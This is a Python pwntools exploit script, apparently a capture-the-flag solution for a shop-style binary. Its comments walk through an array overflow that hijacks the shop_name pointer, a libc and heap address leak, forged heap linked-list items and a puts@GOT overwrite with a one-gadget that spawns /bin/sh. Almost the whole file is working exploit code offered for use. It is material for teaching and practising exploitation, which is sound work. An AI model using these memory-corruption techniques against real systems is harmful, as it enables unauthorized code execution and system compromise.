#!/usr/bin/env python

from pwn import *

def checkout_items(haystack=None):
    p.sendlineafter('> ', 'c')

    if haystack is not None:
        p.sendline(haystack)
    else:
        p.sendline(cyclic(0x10000, alphabet='0123456789abcdef', n=4))

def set_shop_name(name):
    p.sendafter('Enter your shop name:', name)

def change_shop_name(name):
    p.sendlineafter('> ', 'n')
    set_shop_name(name)

def print_items():
    p.sendlineafter('> ', 'l')

def add_item(name1, name2, price):
    p.sendlineafter('> ', 'a')
    p.send(name1)
    p.send(name2)
    p.sendline(str(price))

with context.quiet:
    p = process('./program', env = {'LD_PRELOAD': './libc-2.23.so'})

    # set arbitrary shop name
    set_shop_name('A' * 303)

    # chunk_1 (0x141)
    # this is the first item and it will be at the end of list after the following 32 items are created
    add_item('0' * 31, 'a' * 255, 20)

    # we create 32 more items
    for i in range(32):
        add_item('1' * 31, 'b' * 255, 20)

    # here is where buffer overflow happens. checked_items only can hold 32 items
    # but there 33 items. This result in replacing the shop_name pointer with the first item (chunk_1)
    checkout_items()

    # the first 8 bytes of the chunk_1 is the address of next item in the linked list
    # we set it to an address before stdout in .bss
    change_shop_name(p64(0x6020b4)[0:3] + '\n')

    # printing the list of items leads to leaking a libc address (stdout)
    # as well as a heap address (first item in checked_items)
    print_items()
    p.recvuntil('aaaaaaaaaaaaaa\n')
    libc_addr = p.recvuntil(': $')[0:-3]
    libc_base = u64(libc_addr + '\x00' * (8 - len(libc_addr))) - 0x3c5620
    print 'libc base: {}'.format(hex(libc_base))

    p.recvuntil(' - ')
    heap_addr = p.recvuntil('\n')[0:-1]
    heap_base = u64(heap_addr + '\x00' * (8 - len(heap_addr))) - 0x4ba0
    print 'heap base: {}'.format(hex(heap_base))

    # now we have the heap layout, we can simply create fake items inside the chunk_1
    # basically, we want to replace the head of linked list with our own address
    item = heap_base + 0x1390
    change_shop_name(
        p64(item + 16) + 'f' * 4 + '\x00' * 4 + \
        p64(item + 32) + 'f' * 4 + '\x00' * 4 + \
        p64(0)         + 'f' * 4 + '\x00' * 4 + \
        '\n'
    )

    # after this, the head of the linked list points to an address inside the chunk_1
    checkout_items()

    # now, we want to replace the shop_name pointer in the .bss again in order to get arbitrary write
    # therefore, we create 33 fake items inside the chunk_1. 0x602008 is actually in the .got.plt
    # we are planning to replace put@GOT (0x602018)
    fake_items = [p64(item + 32 + i * 8) for i in range(1, 33)] + [p64(0x602008)]

    # we set the content of chunk_1
    change_shop_name(
        '\x00' * 32 + \
        ''.join(fake_items) + \
        '\n'
    )

    # here we need to set the haystack in a way that all the previously created fake items can pass the check in checkout_items
    haystack = '\x00' * 4
    for fi in fake_items:
        haystack += fi[0:4]

    haystack += p64(libc_base + 0x3e1870)[0:4]

    # after this, shop_name is pointing to a bit before put@GOT
    checkout_items(haystack)

    '''
    0x4526a	execve("/bin/sh", rsp+0x30, environ)
        constraints:
        [rsp+0x30] == NULL
    '''
    # here we will replace put@GOT with one gadget
    change_shop_name('\x00' * 16 + p64(libc_base + 0x4526a) + '\n')

    # we provide a non-recognized input, so we trigger put@GOT
    # as a result we will run /bin/sh
    p.sendline('z')

    p.interactive()

